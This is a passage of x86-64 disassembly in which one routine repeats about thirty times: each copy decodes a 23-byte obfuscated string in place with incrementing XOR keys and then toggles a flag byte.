xor al, 0x4d
mov byte [0x140319117], al
movzx eax, byte [0x14031907f]
test al, al
je 0x140112d98
xor byte [0x140319068], 0x36
xor byte [0x140319069], 0x37
xor byte [0x14031906a], 0x38
xor byte [0x14031906b], 0x39
xor byte [0x14031906c], 0x3a
xor byte [0x14031906d], 0x3b
xor byte [0x14031906e], 0x3c
xor byte [0x14031906f], 0x3d
xor byte [0x140319070], 0x3e
xor byte [0x140319071], 0x3f
xor byte [0x140319072], 0x40
xor byte [0x140319073], 0x41
xor byte [0x140319074], 0x42
xor byte [0x140319075], 0x43
xor byte [0x140319076], 0x44
xor byte [0x140319077], 0x45
xor byte [0x140319078], 0x46
xor byte [0x140319079], 0x47
xor byte [0x14031907a], 0x48
xor byte [0x14031907b], 0x49
xor byte [0x14031907c], 0x4a
xor byte [0x14031907d], 0x4b
xor byte [0x14031907e], 0x4c
xor al, 0x4d
mov byte [0x14031907f], al
movzx eax, byte [0x140317b8f]
test al, al
je 0x140112e50
xor byte [0x140317b78], 0x36
xor byte [0x140317b79], 0x37
xor byte [0x140317b7a], 0x38
xor byte [0x140317b7b], 0x39
xor byte [0x140317b7c], 0x3a
xor byte [0x140317b7d], 0x3b
xor byte [0x140317b7e], 0x3c
xor byte [0x140317b7f], 0x3d
xor byte [0x140317b80], 0x3e
xor byte [0x140317b81], 0x3f
xor byte [0x140317b82], 0x40
xor byte [0x140317b83], 0x41
xor byte [0x140317b84], 0x42
xor byte [0x140317b85], 0x43
xor byte [0x140317b86], 0x44
xor byte [0x140317b87], 0x45
xor byte [0x140317b88], 0x46
xor byte [0x140317b89], 0x47
xor byte [0x140317b8a], 0x48
xor byte [0x140317b8b], 0x49
xor byte [0x140317b8c], 0x4a
xor byte [0x140317b8d], 0x4b
xor byte [0x140317b8e], 0x4c
xor al, 0x4d
mov byte [0x140317b8f], al
movzx eax, byte [0x14031832f]
test al, al
je 0x140112f08
xor byte [0x140318318], 0x36
xor byte [0x140318319], 0x37
xor byte [0x14031831a], 0x38
xor byte [0x14031831b], 0x39
xor byte [0x14031831c], 0x3a
xor byte [0x14031831d], 0x3b
xor byte [0x14031831e], 0x3c
xor byte [0x14031831f], 0x3d
xor byte [0x140318320], 0x3e
xor byte [0x140318321], 0x3f
xor byte [0x140318322], 0x40
xor byte [0x140318323], 0x41
xor byte [0x140318324], 0x42
xor byte [0x140318325], 0x43
xor byte [0x140318326], 0x44
xor byte [0x140318327], 0x45
xor byte [0x140318328], 0x46
xor byte [0x140318329], 0x47
xor byte [0x14031832a], 0x48
xor byte [0x14031832b], 0x49
xor byte [0x14031832c], 0x4a
xor byte [0x14031832d], 0x4b
xor byte [0x14031832e], 0x4c
xor al, 0x4d
mov byte [0x14031832f], al
movzx eax, byte [0x140318ebf]
test al, al
je 0x140112fc0
xor byte [0x140318ea8], 0x36
xor byte [0x140318ea9], 0x37
xor byte [0x140318eaa], 0x38
xor byte [0x140318eab], 0x39
xor byte [0x140318eac], 0x3a
xor byte [0x140318ead], 0x3b
xor byte [0x140318eae], 0x3c
xor byte [0x140318eaf], 0x3d
xor byte [0x140318eb0], 0x3e
xor byte [0x140318eb1], 0x3f
xor byte [0x140318eb2], 0x40
xor byte [0x140318eb3], 0x41
xor byte [0x140318eb4], 0x42
xor byte [0x140318eb5], 0x43
xor byte [0x140318eb6], 0x44
xor byte [0x140318eb7], 0x45
xor byte [0x140318eb8], 0x46
xor byte [0x140318eb9], 0x47
xor byte [0x140318eba], 0x48
xor byte [0x140318ebb], 0x49
xor byte [0x140318ebc], 0x4a
xor byte [0x140318ebd], 0x4b
xor byte [0x140318ebe], 0x4c
xor al, 0x4d
mov byte [0x140318ebf], al
movzx eax, byte [0x140317d5f]
test al, al
je 0x140113078
xor byte [0x140317d48], 0x36
xor byte [0x140317d49], 0x37
xor byte [0x140317d4a], 0x38
xor byte [0x140317d4b], 0x39
xor byte [0x140317d4c], 0x3a
xor byte [0x140317d4d], 0x3b
xor byte [0x140317d4e], 0x3c
xor byte [0x140317d4f], 0x3d
xor byte [0x140317d50], 0x3e
xor byte [0x140317d51], 0x3f
xor byte [0x140317d52], 0x40
xor byte [0x140317d53], 0x41
xor byte [0x140317d54], 0x42
xor byte [0x140317d55], 0x43
xor byte [0x140317d56], 0x44
xor byte [0x140317d57], 0x45
xor byte [0x140317d58], 0x46
xor byte [0x140317d59], 0x47
xor byte [0x140317d5a], 0x48
xor byte [0x140317d5b], 0x49
xor byte [0x140317d5c], 0x4a
xor byte [0x140317d5d], 0x4b
xor byte [0x140317d5e], 0x4c
xor al, 0x4d
mov byte [0x140317d5f], al
movzx eax, byte [0x1403186d7]
test al, al
je 0x140113130
xor byte [0x1403186c0], 0x36
xor byte [0x1403186c1], 0x37
xor byte [0x1403186c2], 0x38
xor byte [0x1403186c3], 0x39
xor byte [0x1403186c4], 0x3a
xor byte [0x1403186c5], 0x3b
xor byte [0x1403186c6], 0x3c
xor byte [0x1403186c7], 0x3d
xor byte [0x1403186c8], 0x3e
xor byte [0x1403186c9], 0x3f
xor byte [0x1403186ca], 0x40
xor byte [0x1403186cb], 0x41
xor byte [0x1403186cc], 0x42
xor byte [0x1403186cd], 0x43
xor byte [0x1403186ce], 0x44
xor byte [0x1403186cf], 0x45
xor byte [0x1403186d0], 0x46
xor byte [0x1403186d1], 0x47
xor byte [0x1403186d2], 0x48
xor byte [0x1403186d3], 0x49
xor byte [0x1403186d4], 0x4a
xor byte [0x1403186d5], 0x4b
xor byte [0x1403186d6], 0x4c
xor al, 0x4d
mov byte [0x1403186d7], al
movzx eax, byte [0x1403191ef]
test al, al
je 0x1401131e8
xor byte [0x1403191d8], 0x36
xor byte [0x1403191d9], 0x37
xor byte [0x1403191da], 0x38
xor byte [0x1403191db], 0x39
xor byte [0x1403191dc], 0x3a
xor byte [0x1403191dd], 0x3b
xor byte [0x1403191de], 0x3c
xor byte [0x1403191df], 0x3d
xor byte [0x1403191e0], 0x3e
xor byte [0x1403191e1], 0x3f
xor byte [0x1403191e2], 0x40
xor byte [0x1403191e3], 0x41
xor byte [0x1403191e4], 0x42
xor byte [0x1403191e5], 0x43
xor byte [0x1403191e6], 0x44
xor byte [0x1403191e7], 0x45
xor byte [0x1403191e8], 0x46
xor byte [0x1403191e9], 0x47
xor byte [0x1403191ea], 0x48
xor byte [0x1403191eb], 0x49
xor byte [0x1403191ec], 0x4a
xor byte [0x1403191ed], 0x4b
xor byte [0x1403191ee], 0x4c
xor al, 0x4d
mov byte [0x1403191ef], al
movzx eax, byte [0x140317c37]
test al, al
je 0x1401132a0
xor byte [0x140317c20], 0x36
xor byte [0x140317c21], 0x37
xor byte [0x140317c22], 0x38
xor byte [0x140317c23], 0x39
xor byte [0x140317c24], 0x3a
xor byte [0x140317c25], 0x3b
xor byte [0x140317c26], 0x3c
xor byte [0x140317c27], 0x3d
xor byte [0x140317c28], 0x3e
xor byte [0x140317c29], 0x3f
xor byte [0x140317c2a], 0x40
xor byte [0x140317c2b], 0x41
xor byte [0x140317c2c], 0x42
xor byte [0x140317c2d], 0x43
xor byte [0x140317c2e], 0x44
xor byte [0x140317c2f], 0x45
xor byte [0x140317c30], 0x46
xor byte [0x140317c31], 0x47
xor byte [0x140317c32], 0x48
xor byte [0x140317c33], 0x49
xor byte [0x140317c34], 0x4a
xor byte [0x140317c35], 0x4b
xor byte [0x140317c36], 0x4c
xor al, 0x4d
mov byte [0x140317c37], al
movzx eax, byte [0x140318f17]
test al, al
je 0x140113358
xor byte [0x140318f00], 0x36
xor byte [0x140318f01], 0x37
xor byte [0x140318f02], 0x38
xor byte [0x140318f03], 0x39
xor byte [0x140318f04], 0x3a
xor byte [0x140318f05], 0x3b
xor byte [0x140318f06], 0x3c
xor byte [0x140318f07], 0x3d
xor byte [0x140318f08], 0x3e
xor byte [0x140318f09], 0x3f
xor byte [0x140318f0a], 0x40
xor byte [0x140318f0b], 0x41
xor byte [0x140318f0c], 0x42
xor byte [0x140318f0d], 0x43
xor byte [0x140318f0e], 0x44
xor byte [0x140318f0f], 0x45
xor byte [0x140318f10], 0x46
xor byte [0x140318f11], 0x47
xor byte [0x140318f12], 0x48
xor byte [0x140318f13], 0x49
xor byte [0x140318f14], 0x4a
xor byte [0x140318f15], 0x4b
xor byte [0x140318f16], 0x4c
xor al, 0x4d
mov byte [0x140318f17], al
movzx eax, byte [0x140317da7]
test al, al
je 0x140113410
xor byte [0x140317d90], 0x36
xor byte [0x140317d91], 0x37
xor byte [0x140317d92], 0x38
xor byte [0x140317d93], 0x39
xor byte [0x140317d94], 0x3a
xor byte [0x140317d95], 0x3b
xor byte [0x140317d96], 0x3c
xor byte [0x140317d97], 0x3d
xor byte [0x140317d98], 0x3e
xor byte [0x140317d99], 0x3f
xor byte [0x140317d9a], 0x40
xor byte [0x140317d9b], 0x41
xor byte [0x140317d9c], 0x42
xor byte [0x140317d9d], 0x43
xor byte [0x140317d9e], 0x44
xor byte [0x140317d9f], 0x45
xor byte [0x140317da0], 0x46
xor byte [0x140317da1], 0x47
xor byte [0x140317da2], 0x48
xor byte [0x140317da3], 0x49
xor byte [0x140317da4], 0x4a
xor byte [0x140317da5], 0x4b
xor byte [0x140317da6], 0x4c
xor al, 0x4d
mov byte [0x140317da7], al
movzx eax, byte [0x140319037]
test al, al
je 0x1401134c8
xor byte [0x140319020], 0x36
xor byte [0x140319021], 0x37
xor byte [0x140319022], 0x38
xor byte [0x140319023], 0x39
xor byte [0x140319024], 0x3a
xor byte [0x140319025], 0x3b
xor byte [0x140319026], 0x3c
xor byte [0x140319027], 0x3d
xor byte [0x140319028], 0x3e
xor byte [0x140319029], 0x3f
xor byte [0x14031902a], 0x40
xor byte [0x14031902b], 0x41
xor byte [0x14031902c], 0x42
xor byte [0x14031902d], 0x43
xor byte [0x14031902e], 0x44
xor byte [0x14031902f], 0x45
xor byte [0x140319030], 0x46
xor byte [0x140319031], 0x47
xor byte [0x140319032], 0x48
xor byte [0x140319033], 0x49
xor byte [0x140319034], 0x4a
xor byte [0x140319035], 0x4b
xor byte [0x140319036], 0x4c
xor al, 0x4d
mov byte [0x140319037], al
movzx eax, byte [0x140318b07]
test al, al
je 0x140113580
xor byte [0x140318af0], 0x36
xor byte [0x140318af1], 0x37
xor byte [0x140318af2], 0x38
xor byte [0x140318af3], 0x39
xor byte [0x140318af4], 0x3a
xor byte [0x140318af5], 0x3b
xor byte [0x140318af6], 0x3c
xor byte [0x140318af7], 0x3d
xor byte [0x140318af8], 0x3e
xor byte [0x140318af9], 0x3f
xor byte [0x140318afa], 0x40
xor byte [0x140318afb], 0x41
xor byte [0x140318afc], 0x42
xor byte [0x140318afd], 0x43
xor byte [0x140318afe], 0x44
xor byte [0x140318aff], 0x45
xor byte [0x140318b00], 0x46
xor byte [0x140318b01], 0x47
xor byte [0x140318b02], 0x48
xor byte [0x140318b03], 0x49
xor byte [0x140318b04], 0x4a
xor byte [0x140318b05], 0x4b
xor byte [0x140318b06], 0x4c
xor al, 0x4d
mov byte [0x140318b07], al
movzx eax, byte [0x1403185e7]
test al, al
je 0x140113638
xor byte [0x1403185d0], 0x36
xor byte [0x1403185d1], 0x37
xor byte [0x1403185d2], 0x38
xor byte [0x1403185d3], 0x39
xor byte [0x1403185d4], 0x3a
xor byte [0x1403185d5], 0x3b
xor byte [0x1403185d6], 0x3c
xor byte [0x1403185d7], 0x3d
xor byte [0x1403185d8], 0x3e
xor byte [0x1403185d9], 0x3f
xor byte [0x1403185da], 0x40
xor byte [0x1403185db], 0x41
xor byte [0x1403185dc], 0x42
xor byte [0x1403185dd], 0x43
xor byte [0x1403185de], 0x44
xor byte [0x1403185df], 0x45
xor byte [0x1403185e0], 0x46
xor byte [0x1403185e1], 0x47
xor byte [0x1403185e2], 0x48
xor byte [0x1403185e3], 0x49
xor byte [0x1403185e4], 0x4a
xor byte [0x1403185e5], 0x4b
xor byte [0x1403185e6], 0x4c
xor al, 0x4d
mov byte [0x1403185e7], al
movzx eax, byte [0x1403186ef]
test al, al
je 0x1401136f0
xor byte [0x1403186d8], 0x36
xor byte [0x1403186d9], 0x37
xor byte [0x1403186da], 0x38
xor byte [0x1403186db], 0x39
xor byte [0x1403186dc], 0x3a
xor byte [0x1403186dd], 0x3b
xor byte [0x1403186de], 0x3c
xor byte [0x1403186df], 0x3d
xor byte [0x1403186e0], 0x3e
xor byte [0x1403186e1], 0x3f
xor byte [0x1403186e2], 0x40
xor byte [0x1403186e3], 0x41
xor byte [0x1403186e4], 0x42
xor byte [0x1403186e5], 0x43
xor byte [0x1403186e6], 0x44
xor byte [0x1403186e7], 0x45
xor byte [0x1403186e8], 0x46
xor byte [0x1403186e9], 0x47
xor byte [0x1403186ea], 0x48
xor byte [0x1403186eb], 0x49
xor byte [0x1403186ec], 0x4a
xor byte [0x1403186ed], 0x4b
xor byte [0x1403186ee], 0x4c
xor al, 0x4d
mov byte [0x1403186ef], al
movzx eax, byte [0x1403183d7]
test al, al
je 0x1401137a8
xor byte [0x1403183c0], 0x36
xor byte [0x1403183c1], 0x37
xor byte [0x1403183c2], 0x38
xor byte [0x1403183c3], 0x39
xor byte [0x1403183c4], 0x3a
xor byte [0x1403183c5], 0x3b
xor byte [0x1403183c6], 0x3c
xor byte [0x1403183c7], 0x3d
xor byte [0x1403183c8], 0x3e
xor byte [0x1403183c9], 0x3f
xor byte [0x1403183ca], 0x40
xor byte [0x1403183cb], 0x41
xor byte [0x1403183cc], 0x42
xor byte [0x1403183cd], 0x43
xor byte [0x1403183ce], 0x44
xor byte [0x1403183cf], 0x45
xor byte [0x1403183d0], 0x46
xor byte [0x1403183d1], 0x47
xor byte [0x1403183d2], 0x48
xor byte [0x1403183d3], 0x49
xor byte [0x1403183d4], 0x4a
xor byte [0x1403183d5], 0x4b
xor byte [0x1403183d6], 0x4c
xor al, 0x4d
mov byte [0x1403183d7], al
movzx eax, byte [0x14031865f]
test al, al
je 0x140113860
xor byte [0x140318648], 0x36
xor byte [0x140318649], 0x37
xor byte [0x14031864a], 0x38
xor byte [0x14031864b], 0x39
xor byte [0x14031864c], 0x3a
xor byte [0x14031864d], 0x3b
xor byte [0x14031864e], 0x3c
xor byte [0x14031864f], 0x3d
xor byte [0x140318650], 0x3e
xor byte [0x140318651], 0x3f
xor byte [0x140318652], 0x40
xor byte [0x140318653], 0x41
xor byte [0x140318654], 0x42
xor byte [0x140318655], 0x43
xor byte [0x140318656], 0x44
xor byte [0x140318657], 0x45
xor byte [0x140318658], 0x46
xor byte [0x140318659], 0x47
xor byte [0x14031865a], 0x48
xor byte [0x14031865b], 0x49
xor byte [0x14031865c], 0x4a
xor byte [0x14031865d], 0x4b
xor byte [0x14031865e], 0x4c
xor al, 0x4d
mov byte [0x14031865f], al
movzx eax, byte [0x1403185ff]
test al, al
je 0x140113918
xor byte [0x1403185e8], 0x36
xor byte [0x1403185e9], 0x37
xor byte [0x1403185ea], 0x38
xor byte [0x1403185eb], 0x39
xor byte [0x1403185ec], 0x3a
xor byte [0x1403185ed], 0x3b
xor byte [0x1403185ee], 0x3c
xor byte [0x1403185ef], 0x3d
xor byte [0x1403185f0], 0x3e
xor byte [0x1403185f1], 0x3f
xor byte [0x1403185f2], 0x40
xor byte [0x1403185f3], 0x41
xor byte [0x1403185f4], 0x42
xor byte [0x1403185f5], 0x43
xor byte [0x1403185f6], 0x44
xor byte [0x1403185f7], 0x45
xor byte [0x1403185f8], 0x46
xor byte [0x1403185f9], 0x47
xor byte [0x1403185fa], 0x48
xor byte [0x1403185fb], 0x49
xor byte [0x1403185fc], 0x4a
xor byte [0x1403185fd], 0x4b
xor byte [0x1403185fe], 0x4c
xor al, 0x4d
mov byte [0x1403185ff], al
movzx eax, byte [0x140317edf]
test al, al
je 0x1401139d0
xor byte [0x140317ec8], 0x36
xor byte [0x140317ec9], 0x37
xor byte [0x140317eca], 0x38
xor byte [0x140317ecb], 0x39
xor byte [0x140317ecc], 0x3a
xor byte [0x140317ecd], 0x3b
xor byte [0x140317ece], 0x3c
xor byte [0x140317ecf], 0x3d
xor byte [0x140317ed0], 0x3e
xor byte [0x140317ed1], 0x3f
xor byte [0x140317ed2], 0x40
xor byte [0x140317ed3], 0x41
xor byte [0x140317ed4], 0x42
xor byte [0x140317ed5], 0x43
xor byte [0x140317ed6], 0x44
xor byte [0x140317ed7], 0x45
xor byte [0x140317ed8], 0x46
xor byte [0x140317ed9], 0x47
xor byte [0x140317eda], 0x48
xor byte [0x140317edb], 0x49
xor byte [0x140317edc], 0x4a
xor byte [0x140317edd], 0x4b
xor byte [0x140317ede], 0x4c
xor al, 0x4d
mov byte [0x140317edf], al
movzx eax, byte [0x140317ccf]
test al, al
je 0x140113a88
xor byte [0x140317cb8], 0x36
xor byte [0x140317cb9], 0x37
xor byte [0x140317cba], 0x38
xor byte [0x140317cbb], 0x39
xor byte [0x140317cbc], 0x3a
xor byte [0x140317cbd], 0x3b
xor byte [0x140317cbe], 0x3c
xor byte [0x140317cbf], 0x3d
xor byte [0x140317cc0], 0x3e
xor byte [0x140317cc1], 0x3f
xor byte [0x140317cc2], 0x40
xor byte [0x140317cc3], 0x41
xor byte [0x140317cc4], 0x42
xor byte [0x140317cc5], 0x43
xor byte [0x140317cc6], 0x44
xor byte [0x140317cc7], 0x45
xor byte [0x140317cc8], 0x46
xor byte [0x140317cc9], 0x47
xor byte [0x140317cca], 0x48
xor byte [0x140317ccb], 0x49
xor byte [0x140317ccc], 0x4a
xor byte [0x140317ccd], 0x4b
xor byte [0x140317cce], 0x4c
xor al, 0x4d
mov byte [0x140317ccf], al
movzx eax, byte [0x1403189ef]
test al, al
je 0x140113b40
xor byte [0x1403189d8], 0x36
xor byte [0x1403189d9], 0x37
xor byte [0x1403189da], 0x38
xor byte [0x1403189db], 0x39
xor byte [0x1403189dc], 0x3a
xor byte [0x1403189dd], 0x3b
xor byte [0x1403189de], 0x3c
xor byte [0x1403189df], 0x3d
xor byte [0x1403189e0], 0x3e
xor byte [0x1403189e1], 0x3f
xor byte [0x1403189e2], 0x40
xor byte [0x1403189e3], 0x41
xor byte [0x1403189e4], 0x42
xor byte [0x1403189e5], 0x43
xor byte [0x1403189e6], 0x44
xor byte [0x1403189e7], 0x45
xor byte [0x1403189e8], 0x46
xor byte [0x1403189e9], 0x47
xor byte [0x1403189ea], 0x48
xor byte [0x1403189eb], 0x49
xor byte [0x1403189ec], 0x4a
xor byte [0x1403189ed], 0x4b
xor byte [0x1403189ee], 0x4c
xor al, 0x4d
mov byte [0x1403189ef], al
movzx eax, byte [0x140317e67]
test al, al
je 0x140113bf8
xor byte [0x140317e50], 0x36
xor byte [0x140317e51], 0x37
xor byte [0x140317e52], 0x38
xor byte [0x140317e53], 0x39
xor byte [0x140317e54], 0x3a
xor byte [0x140317e55], 0x3b
xor byte [0x140317e56], 0x3c
xor byte [0x140317e57], 0x3d
xor byte [0x140317e58], 0x3e
xor byte [0x140317e59], 0x3f
xor byte [0x140317e5a], 0x40
xor byte [0x140317e5b], 0x41
xor byte [0x140317e5c], 0x42
xor byte [0x140317e5d], 0x43
xor byte [0x140317e5e], 0x44
xor byte [0x140317e5f], 0x45
xor byte [0x140317e60], 0x46
xor byte [0x140317e61], 0x47
xor byte [0x140317e62], 0x48
xor byte [0x140317e63], 0x49
xor byte [0x140317e64], 0x4a
xor byte [0x140317e65], 0x4b
xor byte [0x140317e66], 0x4c
xor al, 0x4d
mov byte [0x140317e67], al
movzx eax, byte [0x14031912f]
test al, al
je 0x140113cb0
xor byte [0x140319118], 0x36
xor byte [0x140319119], 0x37
xor byte [0x14031911a], 0x38
xor byte [0x14031911b], 0x39
xor byte [0x14031911c], 0x3a
xor byte [0x14031911d], 0x3b
xor byte [0x14031911e], 0x3c
xor byte [0x14031911f], 0x3d
xor byte [0x140319120], 0x3e
xor byte [0x140319121], 0x3f
xor byte [0x140319122], 0x40
xor byte [0x140319123], 0x41
xor byte [0x140319124], 0x42
xor byte [0x140319125], 0x43
xor byte [0x140319126], 0x44
xor byte [0x140319127], 0x45
xor byte [0x140319128], 0x46
xor byte [0x140319129], 0x47
xor byte [0x14031912a], 0x48
xor byte [0x14031912b], 0x49
xor byte [0x14031912c], 0x4a
xor byte [0x14031912d], 0x4b
xor byte [0x14031912e], 0x4c
xor al, 0x4d
mov byte [0x14031912f], al
movzx eax, byte [0x140318e2f]
test al, al
je 0x140113d68
xor byte [0x140318e18], 0x36
xor byte [0x140318e19], 0x37
xor byte [0x140318e1a], 0x38
xor byte [0x140318e1b], 0x39
xor byte [0x140318e1c], 0x3a
xor byte [0x140318e1d], 0x3b
xor byte [0x140318e1e], 0x3c
xor byte [0x140318e1f], 0x3d
xor byte [0x140318e20], 0x3e
xor byte [0x140318e21], 0x3f
xor byte [0x140318e22], 0x40
xor byte [0x140318e23], 0x41
xor byte [0x140318e24], 0x42
xor byte [0x140318e25], 0x43
xor byte [0x140318e26], 0x44
xor byte [0x140318e27], 0x45
xor byte [0x140318e28], 0x46
xor byte [0x140318e29], 0x47
xor byte [0x140318e2a], 0x48
xor byte [0x140318e2b], 0x49
xor byte [0x140318e2c], 0x4a
xor byte [0x140318e2d], 0x4b
xor byte [0x140318e2e], 0x4c
xor al, 0x4d
mov byte [0x140318e2f], al
movzx eax, byte [0x1403187df]
test al, al
je 0x140113e20
xor byte [0x1403187c8], 0x36
xor byte [0x1403187c9], 0x37
xor byte [0x1403187ca], 0x38
xor byte [0x1403187cb], 0x39
xor byte [0x1403187cc], 0x3a
xor byte [0x1403187cd], 0x3b
xor byte [0x1403187ce], 0x3c
xor byte [0x1403187cf], 0x3d
xor byte [0x1403187d0], 0x3e
xor byte [0x1403187d1], 0x3f
xor byte [0x1403187d2], 0x40
xor byte [0x1403187d3], 0x41
xor byte [0x1403187d4], 0x42
xor byte [0x1403187d5], 0x43
xor byte [0x1403187d6], 0x44
xor byte [0x1403187d7], 0x45
xor byte [0x1403187d8], 0x46
xor byte [0x1403187d9], 0x47
xor byte [0x1403187da], 0x48
xor byte [0x1403187db], 0x49
xor byte [0x1403187dc], 0x4a
xor byte [0x1403187dd], 0x4b
xor byte [0x1403187de], 0x4c
xor al, 0x4d
mov byte [0x1403187df], al
movzx eax, byte [0x140317e7f]
test al, al
je 0x140113ed8
xor byte [0x140317e68], 0x36
xor byte [0x140317e69], 0x37
xor byte [0x140317e6a], 0x38
xor byte [0x140317e6b], 0x39
xor byte [0x140317e6c], 0x3a
xor byte [0x140317e6d], 0x3b
xor byte [0x140317e6e], 0x3c
xor byte [0x140317e6f], 0x3d
xor byte [0x140317e70], 0x3e
xor byte [0x140317e71], 0x3f
xor byte [0x140317e72], 0x40
xor byte [0x140317e73], 0x41
xor byte [0x140317e74], 0x42
xor byte [0x140317e75], 0x43
xor byte [0x140317e76], 0x44
xor byte [0x140317e77], 0x45
xor byte [0x140317e78], 0x46
xor byte [0x140317e79], 0x47
xor byte [0x140317e7a], 0x48
xor byte [0x140317e7b], 0x49
xor byte [0x140317e7c], 0x4a
xor byte [0x140317e7d], 0x4b
xor byte [0x140317e7e], 0x4c
xor al, 0x4d
mov byte [0x140317e7f], al
movzx eax, byte [0x140317c4f]
test al, al
je 0x140113f90
xor byte [0x140317c38], 0x36
xor byte [0x140317c39], 0x37
xor byte [0x140317c3a], 0x38
xor byte [0x140317c3b], 0x39
xor byte [0x140317c3c], 0x3a
xor byte [0x140317c3d], 0x3b
xor byte [0x140317c3e], 0x3c
xor byte [0x140317c3f], 0x3d
xor byte [0x140317c40], 0x3e
xor byte [0x140317c41], 0x3f
xor byte [0x140317c42], 0x40
xor byte [0x140317c43], 0x41
xor byte [0x140317c44], 0x42
xor byte [0x140317c45], 0x43
xor byte [0x140317c46], 0x44
xor byte [0x140317c47], 0x45
xor byte [0x140317c48], 0x46
xor byte [0x140317c49], 0x47
xor byte [0x140317c4a], 0x48
xor byte [0x140317c4b], 0x49
xor byte [0x140317c4c], 0x4a
xor byte [0x140317c4d], 0x4b
xor byte [0x140317c4e], 0x4c
xor al, 0x4d
mov byte [0x140317c4f], al
movzx eax, byte [0x140317e07]
test al, al
je 0x140114048
xor byte [0x140317df0], 0x36
xor byte [0x140317df1], 0x37
xor byte [0x140317df2], 0x38
xor byte [0x140317df3], 0x39
xor byte [0x140317df4], 0x3a
xor byte [0x140317df5], 0x3b
xor byte [0x140317df6], 0x3c
xor byte [0x140317df7], 0x3d
xor byte [0x140317df8], 0x3e
xor byte [0x140317df9], 0x3f
xor byte [0x140317dfa], 0x40
xor byte [0x140317dfb], 0x41
xor byte [0x140317dfc], 0x42
xor byte [0x140317dfd], 0x43
xor byte [0x140317dfe], 0x44
xor byte [0x140317dff], 0x45
xor byte [0x140317e00], 0x46
xor byte [0x140317e01], 0x47
xor byte [0x140317e02], 0x48
xor byte [0x140317e03], 0x49
xor byte [0x140317e04], 0x4a
xor byte [0x140317e05], 0x4b
xor byte [0x140317e06], 0x4c
xor al, 0x4d
mov byte [0x140317e07], al
movzx eax, byte [0x140318767]
test al, al
je 0x140114100
xor byte [0x140318750], 0x36
xor byte [0x140318751], 0x37
xor byte [0x140318752], 0x38
xor byte [0x140318753], 0x39
xor byte [0x140318754], 0x3a
xor byte [0x140318755], 0x3b
xor byte [0x140318756], 0x3c
xor byte [0x140318757], 0x3d
xor byte [0x140318758], 0x3e
xor byte [0x140318759], 0x3f
xor byte [0x14031875a], 0x40
xor byte [0x14031875b], 0x41
xor byte [0x14031875c], 0x42
xor byte [0x14031875d], 0x43
xor byte [0x14031875e], 0x44
xor byte [0x14031875f], 0x45
xor byte [0x140318760], 0x46
xor byte [0x140318761], 0x47
xor byte [0x140318762], 0x48
xor byte [0x140318763], 0x49
xor byte [0x140318764], 0x4a
xor byte [0x140318765], 0x4b
xor byte [0x140318766], 0x4c
xor al, 0x4d
mov byte [0x140318767], al
movzx eax, byte [0x140318a37]
test al, al
je 0x1401141b8
xor byte [0x140318a20], 0x36
xor byte [0x140318a21], 0x37
xor byte [0x140318a22], 0x38
xor byte [0x140318a23], 0x39
xor byte [0x140318a24], 0x3a
xor byte [0x140318a25], 0x3b
xor byte [0x140318a26], 0x3c
xor byte [0x140318a27], 0x3d
xor byte [0x140318a28], 0x3e
xor byte [0x140318a29], 0x3f
xor byte [0x140318a2a], 0x40
xor byte [0x140318a2b], 0x41
xor byte [0x140318a2c], 0x42
xor byte [0x140318a2d], 0x43
xor byte [0x140318a2e], 0x44
xor byte [0x140318a2f], 0x45
xor byte [0x140318a30], 0x46
xor byte [0x140318a31], 0x47
xor byte [0x140318a32], 0x48
xor byte [0x140318a33], 0x49
xor byte [0x140318a34], 0x4a
xor byte [0x140318a35], 0x4b
xor byte [0x140318a36], 0x4c
xor al, 0x4d
mov byte [0x140318a37], al
movzx eax, byte [0x140318377]
test al, al
je 0x140114270
xor byte [0x140318360], 0x36
xor byte [0x140318361], 0x37
xor byte [0x140318362], 0x38
xor byte [0x140318363], 0x39
xor byte [0x140318364], 0x3a
xor byte [0x140318365], 0x3b
xor byte [0x140318366], 0x3c
xor byte [0x140318367], 0x3d
xor byte [0x140318368], 0x3e
xor byte [0x140318369], 0x3f
xor byte [0x14031836a], 0x40
xor byte [0x14031836b], 0x41
xor byte [0x14031836c], 0x42
xor byte [0x14031836d], 0x43
xor byte [0x14031836e], 0x44
xor byte [0x14031836f], 0x45
xor byte [0x140318370], 0x46
xor byte [0x140318371], 0x47
xor byte [0x140318372], 0x48
xor byte [0x140318373], 0x49
xor byte [0x140318374], 0x4a
xor byte [0x140318375], 0x4b
xor byte [0x140318376], 0x4c
xor al, 0x4d
mov byte [0x140318377], al
movzx eax, byte [0x140319177]
test al, al
je 0x140114328
xor byte [0x140319160], 0x36
xor byte [0x140319161], 0x37
xor byte [0x140319162], 0x38
xor byte [0x140319163], 0x39
xor byte [0x140319164], 0x3a
xor byte [0x140319165], 0x3b
xor byte [0x140319166], 0x3c
xor byte [0x140319167], 0x3d
xor byte [0x140319168], 0x3e
xor byte [0x140319169], 0x3f
xor byte [0x14031916a], 0x40
xor byte [0x14031916b], 0x41
xor byte [0x14031916c], 0x42
xor byte [0x14031916d], 0x43
xor byte [0x14031916e], 0x44
xor byte [0x14031916f], 0x45
xor byte [0x140319170], 0x46
xor byte [0x140319171], 0x47
xor byte [0x140319172], 0x48
xor byte [0x140319173], 0x49
xor byte [0x140319174], 0x4a
xor byte [0x140319175], 0x4b
xor byte [0x140319176], 0x4c
xor al, 0x4d
mov byte [0x140319177], al
movzx eax, byte [0x14031802f]
test al, al
je 0x1401143e0
xor byte [0x140318018], 0x36
xor byte [0x140318019], 0x37
xor byte [0x14031801a], 0x38
xor byte [0x14031801b], 0x39
xor byte [0x14031801c], 0x3a
xor byte [0x14031801d], 0x3b
xor byte [0x14031801e], 0x3c
xor byte [0x14031801f], 0x3d
xor byte [0x140318020], 0x3e
xor byte [0x140318021], 0x3f
xor byte [0x140318022], 0x40
xor byte [0x140318023], 0x41
xor byte [0x140318024], 0x42
xor byte [0x140318025], 0x43
xor byte [0x140318026], 0x44
xor byte [0x140318027], 0x45
xor byte [0x140318028], 0x46
xor byte [0x140318029], 0x47
xor byte [0x14031802a], 0x48
xor byte [0x14031802b], 0x49
xor byte [0x14031802c], 0x4a
xor byte [0x14031802d], 0x4b
xor byte [0x14031802e], 0x4c
xor al, 0x4d
mov byte [0x14031802f], al
movzx eax, byte [0x14031835f]
test al, al
je 0x140114498
xor byte [0x140318348], 0x36
xor byte [0x140318349], 0x37
xor byte [0x14031834a], 0x38
xor byte [0x14031834b], 0x39
xor byte [0x14031834c], 0x3a
xor byte [0x14031834d], 0x3b
xor byte [0x14031834e], 0x3c
xor byte [0x14031834f], 0x3d
xor byte [0x140318350], 0x3e
xor byte [0x140318351], 0x3f
